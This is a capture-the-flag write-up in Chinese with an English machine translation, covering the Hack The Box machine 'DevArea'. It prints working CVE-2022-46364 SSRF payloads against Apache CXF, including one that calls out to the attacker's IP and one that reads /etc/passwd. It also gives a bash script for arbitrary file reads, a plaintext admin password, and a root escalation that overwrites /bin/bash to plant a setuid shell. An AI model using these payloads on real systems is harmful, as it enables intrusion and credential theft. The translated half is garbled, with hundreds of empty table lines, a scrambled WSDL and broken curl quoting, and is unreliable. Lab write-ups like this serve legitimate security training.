htb devarea
枚举
# Nmap 7.98 scan initiated Sun Mar 29 07:08:54 2026 as: /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt -v 10.129.10.159
Nmap scan report for 10.129.10.159
Host is up (0.42s latency).
Not shown: 994 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.16.55
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_ 256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp open http Apache httpd 2.4.58
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://devarea.htb/
8080/tcp open http Jetty 9.4.27.v20200227
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Error 404 Not Found
8500/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 29 Mar 2026 07:09:25 GMT
| Content-Length: 64
| This is a proxy server. Does not respond to non-proxy requests.
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 29 Mar 2026 07:09:04 GMT
| Content-Length: 64
| This is a proxy server. Does not respond to non-proxy requests.
| HTTPOptions:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 29 Mar 2026 07:09:05 GMT
| Content-Length: 64
|_ This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: BAA090FBC1418C8C4971002CC5459574
|_http-title: Hoverfly Dashboard
反编译Jar
匿名进入FTP,下载employee-service.jar 并反编译。在htb.devarea.ServerStarter中可以发现
public class ServerStarter {
public static void main(String[] args) {
JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("Employee Service running at http://localhost:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
}
}
访问http://localhost:8080/employeeservice?wsdl 得到XML
<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
<wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">
<xs:element name="submitReport" type="tns:submitReport"/>
<xs:element name="submitReportResponse" type="tns:submitReportResponse"/>
<xs:complexType name="submitReport">
<xs:sequence>
<xs:element minOccurs="0" name="arg0" type="tns:report"/>
</xs:sequence>
</xs:complexType>
<xs:complexType name="report">
<xs:sequence>
<xs:element name="confidential" type="xs:boolean"/>
<xs:element minOccurs="0" name="content" type="xs:string"/>
<xs:element minOccurs="0" name="department" type="xs:string"/>
<xs:element minOccurs="0" name="employeeName" type="xs:string"/>
</xs:sequence>
</xs:complexType>
<xs:complexType name="submitReportResponse">
<xs:sequence>
<xs:element minOccurs="0" name="return" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:schema>
</wsdl:types>
<wsdl:message name="submitReport">
<wsdl:part element="tns:submitReport" name="parameters">
</wsdl:part>
</wsdl:message>
<wsdl:message name="submitReportResponse">
<wsdl:part element="tns:submitReportResponse" name="parameters">
</wsdl:part>
</wsdl:message>
<wsdl:portType name="EmployeeService">
<wsdl:operation name="submitReport">
<wsdl:input message="tns:submitReport" name="submitReport">
</wsdl:input>
<wsdl:output message="tns:submitReportResponse" name="submitReportResponse">
</wsdl:output>
</wsdl:operation>
</wsdl:portType>
<wsdl:binding name="EmployeeServiceServiceSoapBinding" type="tns:EmployeeService">
<soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
<wsdl:operation name="submitReport">
<soap:operation soapAction="" style="document"/>
<wsdl:input name="submitReport">
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output name="submitReportResponse">
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="EmployeeServiceService">
<wsdl:port binding="tns:EmployeeServiceServiceSoapBinding" name="EmployeeServicePort">
<soap:address location="http://devarea.htb:8080/employeeservice"/>
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
当提交SOAP Envelope时会交给CXF处理
并在employee-service/org/apache/cxf/version/version.properties发现Apache CXF 3.2.14
SSRF
搜索即可发现**CVE-2022-46364:在解析 MTOM 请求中 XOP:Include 的 href 属性时存在 SSRF 漏洞,允许攻击者对至少接受任何类型参数的一个参数的 webservice 执行 SSRF 风格的攻击。**
创建payload.txt
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>true</confidential>
<content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="http://10.10.16.55:8000/ssrf_test"/></content>
<department>IT</department>
<employeeName>TestUser</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--boundary--
nc -lvnp 8000
curl -X POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
-H "SOAPAction: \"\"" \
--data-binary @payload.txt

通过此文件可以读取文件/etc/passwd
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>true</confidential>
<content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></content>
<department>IT</department>
<employeeName>TestUser</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--boundary--
得到用户:dev_ryan
写一个脚本
#!/bin/bash
# 检查用户是否提供了一个参数(即想要读取的文件路径)
# $1 (全称:Positional Parameter 1,第一个位置参数) 代表你在命令行传入的第一个值
if [ -z "$1" ]; then
echo "[-] 错误:缺少目标文件路径。"
echo "[*] 用法: $0 <要读取的绝对路径>"
echo "[*] 示例: $0 /etc/passwd"
exit 1
fi
TARGET_FILE=$1
PAYLOAD_FILE="payload_temp.txt"
echo "[*] 正在尝试通过 SSRF/LFD 读取靶机文件: $TARGET_FILE"
# 使用 cat 命令和 EOF (全称:End Of File,文件结束符) 将多行文本写入临时文件
# 这里的变量 $TARGET_FILE 会被自动替换为你输入的路径
cat <<EOF > $PAYLOAD_FILE
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>true</confidential>
<content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file://$TARGET_FILE"/></content>
<department>IT</department>
<employeeName>TestUser</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--boundary--
EOF
# 发送 HTTP POST 请求,-s 参数用于静默模式隐藏进度条
curl -s -X POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
-H "SOAPAction: \"\"" \
--data-binary @$PAYLOAD_FILE
echo -e "\n\n[*] 请求完成。"
# 阅后即焚,清理临时生成的 payload 文件
rm $PAYLOAD_FILE
hoverfly 运行着,尝试读取/etc/systemd/system/hoverfly.service
运行脚本./read.sh /etc/systemd/system/hoverfly.service 得到-username admin -password O7IJ27MyyXiU
USER
使用凭据可以进入到http://devarea.htb:8888/dashboard,搜索可以得到[CVE-2025-54123](https://github.com/advisories/GHSA-r4h8-hfp2-ggmf)
发送payload即可获取到dev_ryan的shell

ROOT
在~目录下可以发现一个我们可以使用sudo命令运行syswatch.sh的备份
#!/bin/bash
set -euo pipefail
CONFIG_FILE="/opt/syswatch/config/syswatch.conf"
SYSWATCH_USER="syswatch"
PLUGIN_DIR="/opt/syswatch/plugins"
LOG_DIR="/opt/syswatch/logs"
SAFE_PLUGIN_REGEX='^[a-zA-Z0-9_.\-$]+$'
SAFE_LOG_REGEX='^[A-Za-z0-9_.-]+$'
VERSION="1.0.0"
source "$CONFIG_FILE"
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")
LIST_EXCLUDE=("common.sh")
log_message() {
local msg="$1"
echo "$(date '+%F %T') - $msg" >> "$LOG_DIR/system.log"
logger -t syswatch "$msg"
}
start_web() {
# Reload systemd in case service was just added
systemctl daemon-reload
# Check if the service is already active
if systemctl is-active --quiet syswatch-web.service; then
echo "[*] SysWatch Web GUI is already running."
return
fi
echo "[*] Starting SysWatch Web GUI service..."
systemctl enable syswatch-web.service >/dev/null 2>&1
systemctl start syswatch-web.service
# Give a small delay for startup
sleep 2
if systemctl is-active --quiet syswatch-web.service; then
echo "[+] SysWatch Web GUI started successfully!"
else
echo "[-] Failed to start SysWatch Web GUI."
fi
}
# Function: stop web GUI
stop_web() {
if ! systemctl is-active --quiet syswatch-web.service; then
echo "[*] SysWatch Web GUI is not running."
return
fi
echo "[*] Stopping SysWatch Web GUI service..."
systemctl stop syswatch-web.service
echo "[+] SysWatch Web GUI stopped."
}
# Function: restart/reload web GUI
reload_web() {
if ! systemctl is-active --quiet syswatch-web.service; then
echo "[*] SysWatch Web GUI is not running. Starting it..."
start_web
return
fi
echo "[*] Reloading SysWatch Web GUI service..."
systemctl restart syswatch-web.service
echo "[+] SysWatch Web GUI reloaded successfully!"
}
# Function: show status
status_web() {
systemctl status syswatch-web.service --no-pager --lines=0
}
execute_plugin() {
local plugin="$1"; shift
if [[ ! $plugin =~ $SAFE_PLUGIN_REGEX ]]; then
echo "Invalid plugin name" >&2
return 1
fi
local fullpath="$PLUGIN_DIR/$plugin"
[ ! -f "$fullpath" ] && echo "Plugin not found: $plugin" >&2 && return 1
log_message "Executing plugin: $plugin $*"
local run_root=0
for p in "${RUN_AS_ROOT_PLUGINS[@]}"; do
if [ "$plugin" = "$p" ]; then
run_root=1
break
fi
done
if [ "$run_root" -eq 1 ]; then
bash "$fullpath" "$@"
else
runuser -u "$SYSWATCH_USER" -- bash "$fullpath" "$@"
fi
}
list_plugins() {
local files
files=$(ls -1 "$PLUGIN_DIR" 2>/dev/null | grep -E '^.+\.sh$' || true)
[ -z "${files:-}" ] && return
while IFS= read -r f; do
[ -z "$f" ] && continue
local skip=0
for ex in "${LIST_EXCLUDE[@]}"; do
if [ "$f" = "$ex" ]; then
skip=1
break
fi
done
[ "$skip" -eq 1 ] && continue
echo " - $f"
done <<< "$files"
}
view_logs() {
local arg="${1:-}"
# ---- LIST MODE ----
if [ "$arg" = "--list" ] || [ "$arg" = "list" ]; then
local found=0
for p in "$LOG_DIR"/*.log; do
[ -e "$p" ] || continue
[ -L "$p" ] && continue # skip symlinks in list
[ -f "$p" ] || continue
echo " - $(basename "$p")"
found=1
done
[ "$found" -eq 0 ] && echo "[No logs found]"
return
fi
# FILE NAME VALIDATION
local file="${arg:-system.log}"
if [[ ! "$file" =~ $SAFE_LOG_REGEX ]]; then
echo "[Invalid log filename]: $file"
return 1
fi
local path="$LOG_DIR/$file"
if [ -L "$path" ]; then
local target
target=$(ls -l "$path" | awk '{print $NF}')
if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
echo "[Blocked unsafe symlink target]: $file -> $target"
return 1
fi
if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
local resolved="$LOG_DIR/$target"
if [ -f "$resolved" ]; then
cat "$resolved"
return
else
echo "[Symlink target not found]: $file -> $target"
return 1
fi
fi
if [[ "$target" == /var/log/* ]]; then
[ -f "$target" ] && cat "$target" && return
echo "[Symlink target not regular file]: $file -> $target"
return 1
fi
echo "[Refusing unsafe symlink]: $file -> $target"
return 1
fi
if [[ "$file" == */* || "$file" == *".."* ]]; then
echo "[Blocked unsafe filename]: $file"
return 1
fi
if [ -f "$path" ]; then
cat "$path"
else
echo "[Log file not found]: $file"
fi
}
usage() {
echo "SysWatch $VERSION"
echo "Usage: $0 <command> [args]"
echo "Commands:"
echo " web Start web GUI"
echo " web-stop Stop web GUI"
echo " web-restart Restart web GUI"
echo " web-status Show web GUI status"
echo " plugin <name> [args] Execute plugin"
echo " plugins List available plugins"
echo " logs <file> View log file"
echo " logs --list List available log files"
echo " --version Show version"
echo " --help|-h|help Show this help"
}
main() {
case "${1:-}" in
web) start_web ;;
web-stop) stop_web ;;
web-restart|web-reload) reload_web ;;
web-status) status_web ;;
plugin) shift; execute_plugin "$@" ;;
plugins) list_plugins ;;
logs) shift; view_logs "$@" ;;
--version) echo "$VERSION" ;;
help|--help|-h) usage ;;
*)
usage
;;
esac
}
if [ "$(id -u)" -eq 0 ]; then
main "$@"
else
if [[ "${1:-}" == "logs" ]]; then
main "$@"
else
echo "Access denied. Root required for this action." >&2
exit 1
fi
fi
分析脚本可以得到一个漏洞:
# syswatch.sh 里是:
bash "$fullpath" "$@"
# 不是:
/usr/bin/bash "$fullpath" "$@"
不写绝对路径,系统就会按 $PATH 顺序查找 bash,第一个找到的就是 /bin/bash(即 /usr/bin/bash)。
ls -la /bin/bash
ls -la /usr/bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31 2024 /bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31 2024 /usr/bin/bash
# 直接覆盖 bash 为恶意脚本
cp /bin/bash /tmp/bash.bak # 先备份
cat > /tmp/evil.sh << 'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh
chmod +s /tmp/rootsh
EOF
#切换到sh,防止bash掉线
sh
killall -9 bash
# 覆盖 bash
chmod +x /tmp/evil.sh
cp /tmp/evil.sh /bin/bash
# 触发(syswatch.sh 调用 bash,以 root 执行)
sudo /opt/syswatch/syswatch.sh plugin cpu_mem_monitor.sh
# 检查结果
ls -la /tmp/rootsh
/tmp/rootsh -p htb devarea
Enumeration
<TRANSLATED>
# Nmap 7.98 scan initiated on Sunday, March 29, 2026, at 07:08:54, with the following command:
`/usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt -v 10.129.10.159`
**Nmap scan report for 10.129.10.159:**
The host is online (latency: 0.42 seconds).
**994 closed TCP ports were not displayed (they were reset).**
**Port Status Service Version**
21/tcp open ftp vsftpd 3.0.5
| | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
|
# Reverse Compiling the Jar File
Anonymous access to the FTP server is required to download the `employee-service.jar` file and then reverse compile it. This can be observed in the `htb.devarea.ServerStarter` class:
```java
public class ServerStarter {
public static void main(String[] args) {
JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("Employee Service is running at http://localhost:8080/employeeservice");
System.out.println("WSDL is available at http://localhost:8080/employeeservice?wsdl");
}
}
By accessing http://localhost:8080/employeeservice?wsdl, the following XML response is obtained:
<?xml version='1.0' encoding='UTF-8'?>
<wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
<wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">
<xs:element name="submitReport" type="tns:submitReport"/>
<xs:element name="submitReportResponse" type="tns:submitReportResponse"/>
<xs:complexType name="submitReport">
<xs:sequence>
<xs:element minOccurs="0" name="arg0" type="tns:report"/>
</xs:sequence>
</xs:complexType>
<xs:complexType name="report">
<xs:sequence>
<xs:element name="confidential" type="xs:boolean"/>
<xs:element minOccurs="0" name="content" type="xs:string"/>
<xs:element minOccurs="0" name="department" type="xs:string"/>
<xs:element minOccurs="0" name="employeeName" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</wsdl:complexType>
</wsdl:definitions>
<xs:complexType name=“submitReportResponse”> xs:sequence <xs:element minOccurs=“0” name=“return” type=“xs:string”/> </xs:sequence> </xs:complexType>
</xs:schema>
<wsdl:message name=“submitReport”>
<wsdl:part element=“tns:submitReport” name=“parameters”>
</wsdl:part>
<wsdl:message name=“submitReportResponse”>
<wsdl:part element=“tns:submitReportResponse” name=“parameters”>
</wsdl:part>
<wsdl:message name=“submitReport”>
<wsdl:part element=“tns:submitReport” name=“parameters”>
</wsdl:part>
<wsdl:portType name=“EmployeeService”>
<wsdl:operation name=“submitReport”>
<wsdl:input message=“tns:submitReport” name=“submitReport”>
</wsdl:input>
<wsdl:output message=“tns:submitReportResponse” name=“submitReportResponse”>
</wsdl:output>
</wsdl:operation>
</wsdl:portType>
<wsdl:binding name=“EmployeeServiceServiceSoapBinding” type=“tns:EmployeeService”>
<soap:binding style=“document” transport=“http://schemas.xmlsoap.org/soap/http”/>
<wsdl:operation name=“submitReport”>
<soap:operation soapAction="" style=“document”/>
<wsdl:input name=“submitReport”>
<soap:body use=“literal”/>
</wsdl:input>
<wsdl:output name=“submitReportResponse”>
<soap:body use=“literal”/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name=“EmployeeServiceService”>
<wsdl:port binding=“tns:EmployeeServiceServiceSoapBinding” name=“EmployeeServicePort”>
<soap:address location=“http://devarea.htb:8080/employeeservice”/>
</wsdl:service>
</wsdl:definitions>
When a SOAP Envelope is submitted, it is processed by CXF.
Apache CXF version 3.2.14 can be found in the file employee-service/org/apache/cxf/version/version.properties.
SSRF (Search for CVE-2022-46364): A SSRF vulnerability exists when parsing the href attribute in an XOP:Include element within an MTOM request, allowing an attacker to perform an SSRF-style attack on a Webservice that accepts parameters of any type.
Create the payload.txt file:
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>true</confidential>
<content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="http://10.10.16.55:8000/ssrf_test"/></content>
<department>IT</department>
<employeeName>TestUser</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--boundary--
Execute the attack using nc:
nc -lvnp 8000
Or use curl to send the request:
curl -X POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
-H "SOAPAction: \"\" \
--data-binary @payload.txt

This payload can be used to extract the contents of the /etc/passwd file:
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>true</confidential>
<content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></content>
<department>IT</department>
<employeeName>TestUser</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--boundary--
The result will be the username dev_ryan.
Write a script
#!/bin/bash
# Check if the user has provided a parameter (i.e., the file path to read)
# $1 (full name: Positional Parameter 1) represents the first value you passed on the command line
if [ -z "$1" ]; then
echo "[-] Error: Target file path is missing."
echo "[*] Usage: $0 <absolute path to read>"
echo "[*] Example: $0 /etc/passwd"
exit 1
fi
TARGET_FILE=$1
PAYLOAD_FILE="payload_temp.txt"
echo "[*] Attempting to read the target file using SSRF/LFD: $TARGET_FILE"
# Use the cat command and EOF (End Of File) to write multi-line text to a temporary file
# The $TARGET_FILE variable will be automatically replaced with the path you provided
cat <<EOF > $PAYLOAD_FILE
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
<soapenv:Header/>
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>true</confidential>
<content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file://$TARGET_FILE"/></content>
<department>IT</department>
<employeeName>TestUser</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--boundary--
EOF
# Send an HTTP POST request; the -s parameter is used to run in silent mode (without displaying a progress bar)
curl -s -X POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
-H "SOAPAction: \"\" \
--data-binary @$PAYLOAD_FILE
echo -e "\n\n[*] Request completed."
# After use, delete the temporarily generated payload file
rm $PAYLOAD_FILE
hoverfly is running and attempting to read the file /etc/systemd/system/hoverfly.service.
Run the script ./read.sh /etc/systemd/system/hoverfly.service to obtain the credentials --username admin --password O7IJ27MyyXiU.
With these credentials, you can log in to http://devarea.htb:8888/dashboard and search for CVE-2025-54123.
Sending the payload will grant you access to the shell of dev_ryan.

ROOT
In the ~ directory, we can find a backup of the syswatch.sh script that we can execute using the sudo command.
#!/bin/bash
set -euo pipefail
CONFIG_FILE="/opt/syswatch/config/syswatch.conf"
SYSWATCH_USER="syswatch"
PLUGIN_DIR="/opt/syswatch/plugins"
LOG_DIR="/opt/syswatch/logs"
SAFE_PLUGIN_REGEX='^[a-zA-Z0-9_.\-$]+$
SAFE_LOG_REGEX='^[A-Za-z0-9_.-]+$
VERSION="1.0.0"
source "$CONFIG_FILE"
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")
LIST_EXCLUDE=("common.sh")
log_message() {
local msg="$1"
echo "$(date '+%F %T') - $msg" >> "$LOG_DIR/system.log"
logger -t syswatch "$msg"
}
start_web() {
# Reload systemd in case the service was just added
systemctl daemon-reload
# Check if the service is already active
if systemctl is-active --quiet syswatch-web.service; then
echo "[*] The SysWatch Web GUI is already running."
return
fi
echo "[*] Starting the SysWatch Web GUI service..."
systemctl enable syswatch-web.service >/dev/null 2>&1
systemctl start syswatch-web.service
# Wait for a short period after starting
sleep 2
if systemctl is-active --quiet syswatch-web.service; then
echo "[+] The SysWatch Web GUI started successfully!"
else
echo "[-] Failed to start the SysWatch Web GUI."
fi
}
# Function: Stop the Web GUI
stop_web() {
if ! systemctl is-active --quiet syswatch-web.service; then
echo "[*] The SysWatch Web GUI is not running."
return
fi
echo "[*] Stopping the SysWatch Web GUI service..."
systemctl stop syswatch-web.service
echo "[+] The SysWatch Web GUI has been stopped."
}
# Function: Restart/Reload the Web GUI
reload_web() {
if ! systemctl is-active --quiet syswatch-web.service; then
